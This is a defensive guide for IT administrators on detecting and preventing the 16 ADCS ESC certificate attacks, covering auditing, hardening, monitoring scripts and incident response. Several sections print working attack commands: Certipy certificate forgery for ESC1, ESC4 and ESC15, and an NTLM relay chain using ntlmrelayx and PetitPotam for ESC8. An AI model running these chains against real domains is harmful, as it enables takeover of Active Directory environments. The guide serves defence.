ADCS Security: The Complete IT Admin Guide to Detecting and Preventing All 16 ESC Attacks

A practical guide for IT admins covering all 16 ADCS ESC attack techniques. Learn how to audit your certificate infrastructure, harden configurations, set up real-time monitoring, and respond to certificate-based attacks before they compromise your Active Directory environment.

Introduction: Why ADCS Has Become a Top Attack Vector

Active Directory Certificate Services (ADCS) is Microsoft's built-in Public Key Infrastructure (PKI) role for Windows Server. It handles digital certificates for just about everything — secure email, file encryption, smart card authentication, SSL/TLS, code signing, you name it. For most enterprise environments running Active Directory, ADCS is that foundational component quietly managing certificate lifecycles behind the scenes.

And that's exactly the problem. The "quietly" part.

For years, ADCS deployments received far less scrutiny than other Active Directory components. Organizations deployed it using default configurations, rarely bothered to audit certificate templates, and almost never reviewed enrollment permissions. That all changed dramatically in 2021 when security researchers Will Schroeder and Lee Christensen published their landmark whitepaper "Certified Pre-Owned", which exposed just how dangerous misconfigured ADCS environments could be.

Since then, the attack surface has only expanded. As of 2025, 16 distinct ESC (Escalation) attack techniques have been catalogued, each exploiting a different misconfiguration or design weakness in ADCS. These attacks can let a low-privileged domain user escalate to Domain Admin, forge certificates for any user in the environment, or establish persistence that survives password resets. That last one is particularly terrifying if you think about it — changing a compromised account's password won't save you.

For IT administrators and helpdesk staff, understanding these vulnerabilities isn't optional anymore. ADCS misconfigurations are now among the first things penetration testers and attackers look for when they gain a foothold in an Active Directory environment. This guide walks you through every known ESC attack, shows you how to audit your environment, and gives you a practical hardening checklist you can start implementing today.

How ADCS Works: A Quick Refresher

Before diving into the attacks, let's make sure we're on the same page about the key ADCS components that matter for security.

Certificate Authorities (CAs)

A Certificate Authority is the server that issues certificates. Most organizations run a two-tier hierarchy: a root CA (often offline) and one or more subordinate or "issuing" CAs that handle day-to-day certificate requests. The issuing CA is the one attackers typically target because it's online and actively processing enrollment requests.

Certificate Templates

Certificate templates are essentially blueprints that define what a certificate can be used for, who can request it, and what information it contains. Templates are stored as objects in Active Directory under CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com. Each template has properties including:

  • Schema version (V1, V2, V3, or V4) — determines what features and restrictions are available
  • Enrollment permissions — which users or groups can request certificates from this template
  • Issuance requirements — whether manager approval or authorized signatures are needed
  • Subject name handling — whether the subject name comes from Active Directory or is supplied by the requestor
  • Extensions — including EKU and other certificate policies

Extended Key Usage (EKU)

The EKU extension defines what a certificate can actually be used for. The most security-relevant EKUs are:

  • Client Authentication (OID 1.3.6.1.5.5.7.3.2) — allows the certificate holder to authenticate to services, including Active Directory
  • Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2) — allows certificate-based logon
  • Any Purpose (OID 2.5.29.37.0) — a wildcard that enables all uses (yep, as scary as it sounds)
  • No EKU defined — a certificate with no EKU restrictions can be used for anything, including authentication

Subject Alternative Name (SAN)

The Subject Alternative Name is a certificate extension that specifies additional identities the certificate applies to. In Active Directory authentication, the SAN typically contains the user's UPN (User Principal Name). Here's the critical part: if an attacker can control the SAN value in a certificate, they can effectively request a certificate that authenticates as any user — including a Domain Admin.

Certificate Enrollment

Enrollment is the process by which a user or computer requests and receives a certificate. This can happen through several interfaces:

  • RPC/DCOM — the default MS-ICPR interface
  • HTTP/HTTPS — the Certificate Enrollment Web Service (CES) or legacy web enrollment (certsrv)
  • Auto-enrollment — certificates issued automatically via Group Policy

Each of these enrollment methods presents its own attack surface, which is why several ESC attacks specifically target the enrollment protocol itself.

Understanding the ESC Attack Landscape

The following table summarizes all 16 known ESC attack techniques as of 2025, organized by risk severity. Honestly, seeing them all laid out like this can be a bit overwhelming — but understanding this landscape is the first step toward actually securing your environment.

ESC ID Severity Attack Description
ESC1 Critical Misconfigured certificate templates allow low-privileged users to supply an arbitrary Subject Alternative Name (SAN) with Client Authentication EKU, enabling impersonation of any domain user including Domain Admins.
ESC2 Critical Templates with "Any Purpose" EKU or no EKU constraints allow certificates to be used for client authentication, even if that wasn't the template's intended purpose.
ESC3 Critical Certificate Request Agent templates allow a user to enroll on behalf of another user, enabling an attacker to request certificates as any principal in the domain.
ESC4 Critical Weak ACLs (GenericAll, GenericWrite, WriteDacl, WriteOwner) on certificate template objects allow attackers to modify template settings to create ESC1 conditions, then exploit them.
ESC5 High Weak ACLs on related AD objects beyond templates — such as the CA server's AD object, the PKI container, or the NTAuthCertificates object — can be abused to compromise the entire PKI chain of trust.
ESC6 Critical The EDITF_ATTRIBUTESUBJECTALTNAME2 flag on the CA allows any enrollee to specify an arbitrary SAN in any certificate request, regardless of template settings.
ESC7 Critical Weak ACLs on the CA object itself grant ManageCA or ManageCertificates rights to low-privileged users, allowing them to approve pending requests or change CA configuration.
ESC8 Critical NTLM relay attacks against HTTP-based certificate enrollment endpoints (certsrv) allow an attacker to request certificates as the relayed authentication target, typically a domain controller machine account.
ESC9 High When StrongCertificateBindingEnforcement is set to 1 (or 0), attackers with GenericWrite over a user can modify the target's UPN to match another account, request a certificate, then restore the original UPN.
ESC10 High Similar to ESC9 but exploits weak certificate mapping on domain controllers. When CertificateMappingMethods includes UPN mapping (0x4), certificates can be mapped to users by UPN alone without additional verification.
ESC11 Critical NTLM relay attacks against the RPC-based certificate enrollment interface (MS-ICPR). If the IF_ENFORCEENCRYPTICERTREQUEST flag is not set, the RPC endpoint accepts unencrypted connections vulnerable to relay.
ESC12 High If the CA's private key is stored in a retrievable manner (e.g., DPAPI-protected file or accessible HSM), an attacker with local admin on the CA server can extract it and forge arbitrary certificates offline.
ESC13 Medium Issuance policies linked to OID groups can grant unexpected permissions when a certificate with that policy is issued, allowing privilege escalation through group membership.
ESC14 Medium Weak explicit certificate mappings (altSecurityIdentities) on user or computer objects allow attackers who can modify these attributes to map their certificate to a privileged account.
ESC15 Critical Also known as "EKUwu" (CVE-2024-49019). V1 schema certificate templates allow the Application Policy to be specified in the CSR, enabling attackers to add Client Authentication EKU to templates that shouldn't have it.
ESC16 Critical When the CA has the szOID_NTDS_CA_SECURITY_EXT (SID security extension) disabled at the CA level, all issued certificates lack the SID binding extension, preventing strong certificate mapping and enabling impersonation attacks.

Deep Dive: The Most Critical ESC Vulnerabilities

ESC1 — Enrollee-Supplied SAN with Client Authentication

ESC1 remains the most commonly exploited ADCS vulnerability, and for good reason — it's straightforward, devastating, and surprisingly common in default or poorly configured environments. The attack requires four conditions to be simultaneously present on a certificate template:

  1. The template includes the Client Authentication EKU (or Smart Card Logon, Any Purpose, or no EKU) — enabling the certificate to authenticate to AD.
  2. Enrollment permissions are granted to low-privileged users (e.g., Domain Users or Authenticated Users).
  3. The CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is enabled — allowing the requestor to specify the Subject and SAN values in the certificate request.
  4. No manager approval is required — meaning the certificate is automatically issued without human review.

When all four conditions are met, any enrolled user can request a certificate with an arbitrary SAN — such as the UPN of a Domain Admin. Here's how an attacker would exploit this using Certipy:

# Enumerate vulnerable templates
certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.1 -vulnerable

# Request a certificate with a Domain Admin SAN
certipy req -u [email protected] -p 'Password123' \
  -ca CORP-CA -template VulnerableTemplate \
  -upn [email protected] \
  -dc-ip 10.0.0.1

# Authenticate using the forged certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

Just like that, the attacker has a valid certificate that authenticates as the Administrator account. And here's the kicker — this certificate remains valid until it expires, even if the Administrator's password is changed. Password resets won't help you here.

Remediation: Disable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT on all templates that include authentication EKUs. If the template genuinely needs user-supplied subject names for a legitimate business purpose, enable manager approval as a compensating control.

ESC4 — Weak ACLs on Certificate Templates

ESC4 is particularly insidious because even if all your templates are configured securely, weak Access Control Lists on the template objects themselves allow an attacker to temporarily modify a template's configuration, exploit it, and then restore the original settings to cover their tracks. It's basically a "borrow and return" attack — and it's incredibly hard to detect without proper auditing.

The dangerous permissions to look for on template objects are:

  • GenericAll — full control over the template
  • GenericWrite — ability to modify template attributes
  • WriteDacl — ability to change the template's permissions
  • WriteOwner — ability to take ownership of the template
  • WriteProperty on specific attributes — ability to change individual template settings

A typical ESC4 attack chain looks like this:

  1. Attacker enumerates template ACLs and finds a template where Domain Users has GenericAll or GenericWrite.
  2. Attacker saves the current template configuration (for later restoration).
  3. Attacker modifies the template to enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT and ensure Client Authentication EKU is set — creating ESC1 conditions.
  4. Attacker requests a certificate with a privileged SAN.
  5. Attacker restores the original template configuration to avoid detection.
# Using Certipy to exploit ESC4
# Step 1: Save and modify the template
certipy template -u [email protected] -p 'Password123' \
  -template VulnTemplate -save-old

# Step 2: Request cert with admin SAN (template now has ESC1 conditions)
certipy req -u [email protected] -p 'Password123' \
  -ca CORP-CA -template VulnTemplate \
  -upn [email protected]

# Step 3: Restore original template configuration
certipy template -u [email protected] -p 'Password123' \
  -template VulnTemplate -configuration VulnTemplate.json

Remediation: Audit template ACLs rigorously. Make sure only authorized groups (typically Domain Admins and Enterprise Admins) have write permissions on certificate template objects. Remove GenericAll, GenericWrite, WriteDacl, and WriteOwner from low-privileged groups.

ESC8 — NTLM Relay to HTTP-Based Web Enrollment

ESC8 exploits the legacy Certificate Authority Web Enrollment interface (typically at https://ca-server/certsrv) that many organizations still have enabled. I've personally seen this endpoint running on CAs where nobody even remembered it was there. This endpoint often accepts NTLM authentication and doesn't enforce EPA (Extended Protection for Authentication) or require SSL, making it a perfect target for NTLM relay attacks.

The attack works like this:

  1. The attacker coerces a domain controller or privileged machine to authenticate to the attacker's machine (using techniques like PetitPotam, PrinterBug, or DFSCoerce).
  2. The attacker relays the NTLM authentication to the CA's web enrollment endpoint.
  3. The CA issues a certificate in the name of the relayed machine account (e.g., the domain controller's computer account).
  4. The attacker uses the domain controller certificate to perform a DCSync attack or authenticate as the DC.
# Set up NTLM relay targeting the CA web enrollment
impacket-ntlmrelayx -t http://ca-server/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# In another terminal, trigger authentication from the DC
python3 PetitPotam.py attacker-ip dc-ip

# The relay will capture the cert - use it to authenticate
certipy auth -pfx dc.pfx -dc-ip 10.0.0.1

Remediation: Disable the legacy web enrollment role entirely if it's not required (and honestly, it probably isn't). If it must remain, enforce HTTPS, enable EPA (Extended Protection for Authentication), and disable NTLM authentication on the endpoint. Consider migrating to the Certificate Enrollment Web Service (CEP/CES) with Kerberos authentication.

ESC11 — NTLM Relay to RPC-Based ICPR Interface

ESC11 is the RPC counterpart to ESC8. Here's what happened: many administrators disabled the HTTP enrollment endpoint after ESC8 was published, patted themselves on the back, and called it a day. But they overlooked the RPC-based certificate enrollment interface (MS-ICPR), which also accepts NTLM authentication by default.

The key control here is the IF_ENFORCEENCRYPTICERTREQUEST flag on the CA. When this flag is not set, the CA accepts unencrypted RPC connections for certificate enrollment, making it susceptible to NTLM relay.

To check whether your CA is vulnerable:

# Check the IF_ENFORCEENCRYPTICERTREQUEST flag
certutil -getreg CA\InterfaceFlags

# If the output does NOT include IF_ENFORCEENCRYPTICERTREQUEST, the CA is vulnerable
# To enable the flag:
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST

# Restart the CA service after the change
net stop certsvc && net start certsvc

Remediation: Enable the IF_ENFORCEENCRYPTICERTREQUEST flag on all CAs. This forces RPC connections to use encryption, which prevents NTLM relay attacks against the ICPR interface.

ESC15 (EKUwu / CVE-2024-49019) — V1 Schema Template Exploitation

ESC15, also known as "EKUwu" (love the name, hate the vulnerability), is a particularly clever attack that was disclosed as CVE-2024-49019. It exploits the fact that Version 1 (V1) schema certificate templates handle the Application Policy extension differently than newer schema versions.

In V1 templates, when the template includes an Application Policy issuance requirement, the EKU in the issued certificate is determined by the Application Policy OID specified in the Certificate Signing Request (CSR) — not by the template's own EKU definition. So an attacker can craft a CSR that includes the Client Authentication OID in the Application Policy extension, and the CA will happily issue a certificate with that EKU even if the template was never designed for authentication.

The conditions for ESC15 are:

  • A V1 schema certificate template is published on the CA.
  • The template has an Application Policy issuance requirement.
  • Low-privileged users have enrollment permissions.
  • The CA is unpatched for CVE-2024-49019.
# Enumerate V1 templates that may be vulnerable
certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.1 \
  -vulnerable -stdout | grep -A 20 "Schema Version.*: 1"

# Exploit by specifying Application Policy in the CSR
certipy req -u [email protected] -p 'Password123' \
  -ca CORP-CA -template VulnV1Template \
  -key-size 4096 \
  -application-policies "Client Authentication"

Remediation: Apply Microsoft's November 2024 security update. Beyond that, review all V1 schema templates in your environment. Where possible, replace V1 templates with V2 or higher schema versions that properly enforce EKU restrictions. Remove any V1 templates that are no longer needed — they're legacy baggage at this point.

ESC16 — CA-Wide Disabled SID Security Extension

ESC16 targets the relatively new SID security extension (OID 1.3.6.1.4.1.311.25.2) that Microsoft introduced to strengthen certificate-to-account mapping. When a CA is configured to include this extension, every issued certificate embeds the requesting user's SID, creating a cryptographic binding between the certificate and the specific AD account.

ESC16 occurs when this extension is disabled at the CA level. Without the SID extension, the CA issues certificates that rely on weaker mapping methods (UPN or DNS name), which are susceptible to manipulation. An attacker who can modify a target user's UPN (via GenericWrite permissions) can request a certificate as that identity, then change the UPN back. Because the certificate lacks a SID binding, the weaker UPN-based mapping allows authentication as the target.

# Check if the SID extension is enabled on the CA
certutil -getreg "CA\EditFlags"

# Look for EDITF_ENABLESIDEXTENSION in the output
# If missing, enable it:
certutil -setreg "CA\EditFlags" +EDITF_ENABLESIDEXTENSION
net stop certsvc && net start certsvc

Remediation: Ensure the EDITF_ENABLESIDEXTENSION flag is set on all CAs. Combine this with setting StrongCertificateBindingEnforcement to 2 on domain controllers to enforce full certificate mapping that requires the SID extension. This is now Microsoft's recommended configuration.

Auditing Your ADCS Environment

Before you can fix misconfigurations, you need to find them. Here's a systematic approach to auditing your ADCS deployment using readily available tools.

Using Certutil for Basic Enumeration

Certutil is built into Windows and requires no additional installation — it's already sitting there on your CA servers. Start with these commands:

# List all published certificate templates on the CA
certutil -catemplates

# Dump detailed information about a specific template
certutil -v -dstemplate "TemplateName"

# List all CAs in the domain
certutil -TCAInfo

# Check CA configuration flags
certutil -getreg CA\EditFlags
certutil -getreg CA\InterfaceFlags

# Enable full audit logging on the CA (set audit filter to 127 = all events)
certutil -setreg CA\AuditFilter 127
net stop certsvc && net start certsvc

The AuditFilter 127 setting enables auditing for all certificate operations: start/stop, certificate requests, certificate issuance, certificate revocation, security setting changes, key archival/recovery, and CA configuration changes.

Using PSPKIAudit for Comprehensive Vulnerability Scanning

The PSPKIAudit PowerShell module provides automated scanning for ADCS misconfigurations. Install and run it as follows:

# Install the PSPKIAudit module
Install-Module -Name PSPKI -Force
Import-Module PSPKI

# Install PSPKIAudit (from GitHub)
Import-Module PSPKIAudit

# Run a comprehensive audit
Invoke-PKIAudit | Format-List

# Get detailed template information
Get-CertificateTemplate | Where-Object {
    $_.EnrollmentFlag -band 0x00000004
} | Select-Object Name, @{
    N='SuppliesSubject';
    E={($_.NameFlags -band 0x1) -eq 1}
}, @{
    N='EnrolleeSuppliesSAN';
    E={($_.CertificateNameFlag -band 0x1) -eq 1}
}

# Check for dangerous enrollment permissions
Get-CertificateTemplate | ForEach-Object {
    $template = $_
    $_.AccessControl.Access | Where-Object {
        $_.CertificateTemplateRights -match 'Enroll' -and
        $_.IdentityReference -match 'Domain Users|Authenticated Users|Everyone'
    } | ForEach-Object {
        [PSCustomObject]@{
            Template = $template.Name
            Principal = $_.IdentityReference
            Rights = $_.CertificateTemplateRights
        }
    }
} | Format-Table -AutoSize

Using Certipy for Enumeration

Certipy is a Python-based offensive tool, but it's equally valuable for defensive auditing. You can run it from a Linux machine or Windows with Python installed:

# Full enumeration with vulnerability detection
certipy find -u [email protected] -p 'AuditPassword' \
  -dc-ip 10.0.0.1 -vulnerable

# Generate detailed output in multiple formats
certipy find -u [email protected] -p 'AuditPassword' \
  -dc-ip 10.0.0.1 -old-bloodhound -output adcs-audit

# The tool generates:
#   - JSON file for BloodHound ingestion
#   - Text summary of all findings
#   - Categorized ESC vulnerability listing

Windows Event IDs for Certificate Monitoring

After enabling auditing with AuditFilter 127, monitor these critical event IDs in the Security and Application logs on your CA servers:

Event ID Log Description
4886 Security Certificate Services received a certificate request. Baseline normal request volume to detect anomalies.
4887 Security Certificate Services approved and issued a certificate. Cross-reference with 4886 to ensure all issued certs were properly requested.
4899 Security A Certificate Services template was updated. Alerts on this event can detect ESC4 template modification attacks.
39 Application (CertificationAuthority) A certificate request contains a Subject Alternative Name. Critical for detecting ESC1 exploitation.
41 Application (CertificationAuthority) Certificate request attribute processing. Useful for detecting unusual request attributes.
4898 Security Certificate Services loaded a template. Useful for tracking which templates are active.

Microsoft's Strong Certificate Mapping Enforcement

One of the most significant recent changes to ADCS security is Microsoft's enforcement of strong certificate mapping. This change directly addresses ESC9, ESC10, and ESC16 by ensuring that certificates are cryptographically bound to specific AD accounts using the SID extension.

The Timeline

Microsoft introduced strong certificate mapping in May 2022 (KB5014754) and has been gradually tightening enforcement. Here's where things stand:

  • May 2022: Initial release with Compatibility Mode as default (StrongCertificateBindingEnforcement = 1).
  • February 2025: Full Enforcement Mode enabled by default (StrongCertificateBindingEnforcement = 2). Compatibility Mode must now be explicitly set.
  • September 2025: Compatibility Mode will be permanently removed. Full Enforcement becomes the only option. Certificates without the SID extension will be rejected for authentication.

That September 2025 deadline is coming up fast, so if you haven't started preparing, now's the time.

The StrongCertificateBindingEnforcement Registry Key

This registry value on your domain controllers controls certificate mapping behavior:

# Registry location
HKLM:\SYSTEM\CurrentControlSet\Services\Kdc

# Key: StrongCertificateBindingEnforcement
# Value 0 = Disabled (DANGEROUS - no strong mapping required)
# Value 1 = Compatibility Mode (allows weak mapping with audit events)
# Value 2 = Full Enforcement (requires strong mapping)

# Check current setting via PowerShell
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" `
  -Name "StrongCertificateBindingEnforcement" -ErrorAction SilentlyContinue

# Set to Full Enforcement
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" `
  -Name "StrongCertificateBindingEnforcement" -Value 2 -Type DWord

The SID Extension (OID 1.3.6.1.4.1.311.25.2)

When a CA has the EDITF_ENABLESIDEXTENSION flag set, every certificate it issues includes an extension that embeds the requesting user's SID. Domain controllers running in Full Enforcement Mode verify that this SID matches the account the certificate is being used to authenticate as. Simple concept, huge security improvement.

Auditing for Weak Mappings

Before switching to Full Enforcement, you'll want to audit your environment for certificates that will break:

# On domain controllers, look for Event ID 39 in the System log
# (Source: Kdc) - these events indicate authentication attempts
# with certificates that lack the SID extension

Get-WinEvent -FilterHashtable @{
    LogName = 'System'
    ProviderName = 'Microsoft-Windows-Kerberos-Key-Distribution-Center'
    Id = 39
} -MaxEvents 50 | Select-Object TimeCreated, Message | Format-List

# Identify certificates lacking the SID extension
# that are still being used for authentication
Get-WinEvent -FilterHashtable @{
    LogName = 'System'
    Id = 39
    StartTime = (Get-Date).AddDays(-30)
} | Group-Object { $_.Properties[0].Value } |
  Sort-Object Count -Descending | Format-Table Count, Name

Reissuing Compliant Certificates

Certificates issued before the SID extension was enabled will need to be reissued. For auto-enrolled certificates, this happens automatically during the next enrollment cycle. For manually enrolled certificates, the process takes a bit more effort:

  1. Ensure EDITF_ENABLESIDEXTENSION is enabled on all CAs.
  2. Identify all active certificates lacking the SID extension (using the audit steps above).
  3. Notify certificate holders and provide reissuance instructions.
  4. Set a deadline before the September 2025 enforcement date.
  5. Revoke old certificates after replacement certificates are confirmed working.

Hardening Checklist: 15 Steps to Secure Your ADCS Deployment

So, let's get practical. Use this checklist as an actionable guide for hardening your ADCS environment. Each step addresses one or more ESC attack vectors, and I've listed them roughly in order of impact.

  1. Disable EDITF_ATTRIBUTESUBJECTALTNAME2 on all CAs. This flag allows any requestor to specify a SAN in any certificate request, regardless of template configuration. It's the root cause of ESC6 and honestly should never have been enabled in the first place.
    certutil -setreg CA\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
    net stop certsvc && net start certsvc
  2. Enable EDITF_ENABLESIDEXTENSION on all CAs. This embeds the requestor's SID in every certificate, enabling strong certificate mapping and mitigating ESC16.
    certutil -setreg CA\EditFlags +EDITF_ENABLESIDEXTENSION
    net stop certsvc && net start certsvc
  3. Remove unused and default certificate templates. Review all published templates and unpublish any that aren't actively needed. Many default templates (e.g., "User," "WebServer") have overly permissive configurations that you probably don't want hanging around.
  4. Disable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT on all templates with authentication EKUs. If a template allows client authentication, the subject name should come from Active Directory, not from the requestor.
  5. Restrict enrollment permissions to the minimum required groups. Replace "Authenticated Users" and "Domain Users" with specific security groups on each template's enrollment ACL.
  6. Require manager approval for sensitive templates. Any template that grants authentication capabilities should require CA certificate manager approval (issuance requirement) as a defense-in-depth measure.
  7. Disable HTTP-based web enrollment (certsrv) if not required. This eliminates the ESC8 NTLM relay attack surface entirely. If web enrollment is needed, migrate to CES/CEP with Kerberos authentication.
  8. Enable Extended Protection for Authentication (EPA) on any remaining web enrollment endpoints. EPA binds the outer TLS channel to the inner NTLM authentication, preventing relay attacks.
  9. Enforce SSL/TLS on all CA web interfaces. Never allow plaintext HTTP access to certificate enrollment endpoints. Just don't.
  10. Set IF_ENFORCEENCRYPTICERTREQUEST on all CAs. This prevents ESC11 NTLM relay attacks against the RPC enrollment interface.
    certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
    net stop certsvc && net start certsvc
  11. Audit and restrict ACLs on certificate template objects. Ensure only Domain Admins and Enterprise Admins have write permissions. Remove GenericAll, GenericWrite, WriteDacl, and WriteOwner from low-privileged groups.
  12. Audit ACLs on the CA server AD object, PKI containers, and NTAuthCertificates. These objects control the trust chain and should be protected with the same rigor as template objects (addresses ESC5).
  13. Enable full audit logging on all CAs by setting AuditFilter to 127 and enabling the "Audit object access" policy in the CA's local or domain Group Policy.
    certutil -setreg CA\AuditFilter 127
    net stop certsvc && net start certsvc
  14. Enforce StrongCertificateBindingEnforcement = 2 on all domain controllers. This ensures that only certificates with the SID extension (or explicit strong mappings) can be used for authentication.
  15. Replace V1 schema templates with V2 or later versions. V1 templates are vulnerable to ESC15 (EKUwu). Migrate to V2+ templates that properly enforce EKU restrictions from the template rather than the CSR.

Setting Up Real-Time Monitoring and Alerting

Hardening is only half the battle. You need ongoing monitoring to detect exploitation attempts and configuration drift — because misconfigurations have a way of creeping back in over time.

Windows Event Forwarding for Certificate Events

Configure Windows Event Forwarding (WEF) to centralize certificate-related events from your CA servers. Create a subscription that collects from both the Security log and the CertificationAuthority operational log:

<!-- WEF Subscription XML for ADCS events -->
<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4886 or EventID=4887 or EventID=4888
        or EventID=4889 or EventID=4898 or EventID=4899)]]
    </Select>
  </Query>
  <Query Id="1" Path="Application">
    <Select Path="Application">
      *[System[Provider[@Name='Microsoft-Windows-CertificationAuthority']
        and (EventID=39 or EventID=40 or EventID=41 or EventID=53)]]
    </Select>
  </Query>
</QueryList>

SIEM Detection Rules

Once certificate events are flowing into your SIEM, create detection rules for the following scenarios:

  • SAN mismatch: Alert when Event ID 39 shows a certificate request where the SAN doesn't match the requestor's identity. This is a strong indicator of ESC1 or ESC6 exploitation.
  • Template modification: Alert on Event ID 4899 (template updated). Unexpected template changes may indicate ESC4 attacks.
  • High-volume certificate requests: Alert when a single user requests an abnormally high number of certificates in a short time period. Attackers often enumerate templates by requesting from many of them.
  • Certificate requests from unusual templates: Baseline which templates are normally used, and alert when certificates are issued from dormant or rarely-used templates.
  • Certificate requests for privileged accounts: Alert when certificates are issued with SANs matching Domain Admin, Enterprise Admin, or other privileged account UPNs.

PowerShell Monitoring Scripts

For organizations without a full SIEM (no judgment — we've all been there), these PowerShell snippets can be run on a schedule to detect suspicious activity:

# Monitor for certificate requests with alternate SANs (ESC1/ESC6 indicator)
$startTime = (Get-Date).AddHours(-24)
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4887
    StartTime = $startTime
} | ForEach-Object {
    $xml = [xml]$_.ToXml()
    $requester = ($xml.Event.EventData.Data |
        Where-Object { $_.Name -eq 'Requester' }).'#text'
    $subjectName = ($xml.Event.EventData.Data |
        Where-Object { $_.Name -eq 'SubjectName' }).'#text'
    [PSCustomObject]@{
        Time      = $_.TimeCreated
        Requester = $requester
        Subject   = $subjectName
        Template  = ($xml.Event.EventData.Data |
            Where-Object { $_.Name -eq 'CertificateTemplate' }).'#text'
    }
} | Where-Object {
    # Flag if requester doesn't match the certificate subject
    $_.Requester -and $_.Subject -and
    $_.Subject -notlike "*$($_.Requester.Split('\')[1])*"
} | Format-Table -AutoSize
# Monitor for template modifications (ESC4 indicator)
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4899
    StartTime = (Get-Date).AddDays(-7)
} | Select-Object TimeCreated, @{
    N='ModifiedBy';
    E={$_.Properties[1].Value}
}, @{
    N='Template';
    E={$_.Properties[0].Value}
} | Format-Table -AutoSize
# Track certificate enrollment volumes by template to detect anomalies
$events = Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4887
    StartTime = (Get-Date).AddDays(-1)
}
$events | Group-Object {
    $xml = [xml]$_.ToXml()
    ($xml.Event.EventData.Data |
        Where-Object { $_.Name -eq 'CertificateTemplate' }).'#text'
} | Sort-Object Count -Descending |
  Select-Object Count, Name | Format-Table -AutoSize

Automated Compliance Checks

Schedule a weekly script that checks for configuration drift on your CAs and templates. This is one of those "set it and forget it" things that'll save you from nasty surprises down the road:

# Weekly ADCS compliance check
$findings = @()

# Check 1: EDITF_ATTRIBUTESUBJECTALTNAME2 should be disabled
$editFlags = certutil -getreg CA\EditFlags 2>&1
if ($editFlags -match "EDITF_ATTRIBUTESUBJECTALTNAME2") {
    $findings += "WARNING: EDITF_ATTRIBUTESUBJECTALTNAME2 is enabled (ESC6 risk)"
}

# Check 2: IF_ENFORCEENCRYPTICERTREQUEST should be enabled
$ifFlags = certutil -getreg CA\InterfaceFlags 2>&1
if ($ifFlags -notmatch "IF_ENFORCEENCRYPTICERTREQUEST") {
    $findings += "WARNING: IF_ENFORCEENCRYPTICERTREQUEST is not set (ESC11 risk)"
}

# Check 3: AuditFilter should be 127
$auditFilter = certutil -getreg CA\AuditFilter 2>&1
if ($auditFilter -notmatch "7f|127") {
    $findings += "WARNING: CA audit logging is not fully enabled"
}

# Check 4: SID extension should be enabled
if ($editFlags -notmatch "EDITF_ENABLESIDEXTENSION") {
    $findings += "WARNING: EDITF_ENABLESIDEXTENSION is not set (ESC16 risk)"
}

# Report findings
if ($findings.Count -gt 0) {
    $findings | ForEach-Object { Write-Warning $_ }
    # Optionally send email alert
    # Send-MailMessage -To "[email protected]" -From "[email protected]" `
    #   -Subject "ADCS Compliance Findings" -Body ($findings -join "`n") `
    #   -SmtpServer "mail.corp.local"
} else {
    Write-Output "All ADCS compliance checks passed."
}

What To Do If You Suspect a Certificate-Based Attack

If your monitoring detects suspicious certificate activity or a penetration test reveals certificate-based compromise, don't panic — but do move fast. Follow this incident response procedure.

Step 1: Identify Compromised Certificates

Determine which certificates were issued under suspicious circumstances:

# Query the CA database for recently issued certificates
certutil -view -restrict "Disposition=20,NotBefore>01/01/2025" \
  -out "RequesterName,CommonName,CertificateTemplate,NotBefore,NotAfter,SerialNumber"

Cross-reference the requester with the certificate's subject and SAN. Any mismatch — where the requestor is a different account than the certificate's subject — is a red flag.

Step 2: Revoke Compromised Certificates

Immediately revoke any certificates identified as compromised:

# Revoke a certificate by serial number
certutil -revoke <SerialNumber> 1

# Reason codes:
# 0 = Unspecified
# 1 = Key Compromise
# 2 = CA Compromise
# 3 = Affiliation Changed
# 4 = Superseded
# 5 = Cessation of Operation

# After revoking, publish a new CRL immediately
certutil -CRL

Step 3: Verify CRL Distribution

Ensure the updated Certificate Revocation List (CRL) is published and accessible to all relying parties:

# Verify CRL publication
certutil -URL "ldap:///CN=CORP-CA,CN=corp-ca-server,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"

# Check CRL validity
certutil -verify -urlfetch <certificate-file.cer>

Step 4: Investigate Lateral Movement

A compromised certificate may have been used to authenticate to other systems. Check for:

  • Kerberos TGTs obtained using certificate authentication (PKINIT) — look for Event ID 4768 with certificate information in the Authentication Package field.
  • LDAP connections authenticated with certificates.
  • Any DCSync indicators (Event ID 4662 with replication rights) — if a domain controller certificate was compromised, the attacker likely already has all domain hashes.
  • Persistence mechanisms — attackers may have created additional certificates, added new templates, or modified existing ones.

Step 5: Remediate the Root Cause

Fix the misconfiguration that allowed the attack:

  • Apply the relevant hardening step from the checklist above.
  • If a template was modified (ESC4), restore it from a known-good backup and audit the template's ACLs.
  • If the CA configuration was changed, review all CA registry settings against your documented baseline.

Step 6: Reissue Clean Certificates

For any certificates that may be tainted by the attack vector (even if they were legitimately issued), consider a targeted reissuance campaign. This is especially important if:

  • The CA's EDITF_ATTRIBUTESUBJECTALTNAME2 flag was enabled — any certificate issued during that window may have an attacker-supplied SAN.
  • A template was modified — any certificate issued from that template during the compromised period should be considered suspect.
  • The CA's private key may have been exposed — this requires a full CA rebuild and reissuance of all certificates. (Yes, that's as painful as it sounds.)

Step 7: Document and Improve

After the incident is contained:

  1. Document the full attack timeline, including initial compromise, certificate issuance, and any lateral movement.
  2. Update your monitoring rules to detect this specific attack pattern.
  3. Review whether your audit logging was sufficient to support the investigation. If not, expand logging coverage.
  4. Schedule a follow-up ADCS security audit within 30 days to confirm all remediations are effective.

Conclusion

